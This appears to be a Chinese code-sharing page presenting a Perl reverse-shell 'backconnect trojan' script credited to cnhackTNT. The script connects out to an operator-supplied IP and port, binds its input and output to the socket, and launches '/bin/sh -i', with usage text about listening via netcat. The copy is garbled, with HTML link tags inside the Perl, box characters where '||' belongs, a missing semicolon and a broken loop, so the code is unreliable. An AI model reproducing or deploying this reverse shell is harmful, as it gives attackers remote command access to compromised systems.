第二个反弹木马代码：作者cnhacktnt.txt

来自「四个经典的backconnect 木马 perl c ...etc」· 文本 代码 · 共 55 行

#!/usr/bin/perl
#<a href="http://www.s8s8.net" target=_blank>http://www.s8s8.net</a>
#cnhackTNT[AT]hotmail.com

use strict;
use Socket;
use Cwd;
use IO::Handle;

if ( @ARGV < 1 ) {
print <<"EOF";
usage: 
nc -l -p PORT(default 66666) on your local system first,then
Perl $0 Remote IP Remote_port(default 66666)
Type 'quit' to exit or press Enter to gain shell when u under the 'S8S8 console'.
Enjoy ur shell!
Welcome to <a href="http://www.s8s8.net" target=_blank>http://www.s8s8.net</a>
EOF
exit;
}
my $remote      = $ARGV[0];
my $remote_port = $ARGV[1] ││ 66666;
my $proto       = getprotobyname('tcp');
my $pack_addr   = sockaddr_in( $remote_port, inet_aton($remote) );
my $path        = cwd();
my $shell       = '/bin/sh -i'

socket( SOCK, AF_INET, SOCK_STREAM, $proto ) ││ die "socket error: $!";
STDOUT->autoflush(1);
SOCK->autoflush(1);
connect( SOCK, $pack_addr ) ││ die "connection error : $!";
open STDIN,  ">&SOCK";
open STDOUT, ">&SOCK";
open STDERR, ">&SOCK";
print "You are in $path\n";
print "Welcome to <a href="http://www.s8s8.net" target=_blank>s8s8.net</a>\nEnjoy ur shell.\n\n[S8S8 console]>";

while () {
   chomp;
   if ( lc($_) eq 'quit' ) {
       print "\nWelcome to <a href="http://www.s8s8.net";" target=_blank>s8s8.net";</a>
       print "\nByeBye~~~!\n";
       exit;
   }
   elsif ($_) {
       system($shell);
       print "\n[S8S8 console]>";
   }
   else {
       print "\n[S8S8 console]>";
   }
}
close SOCK;
exit;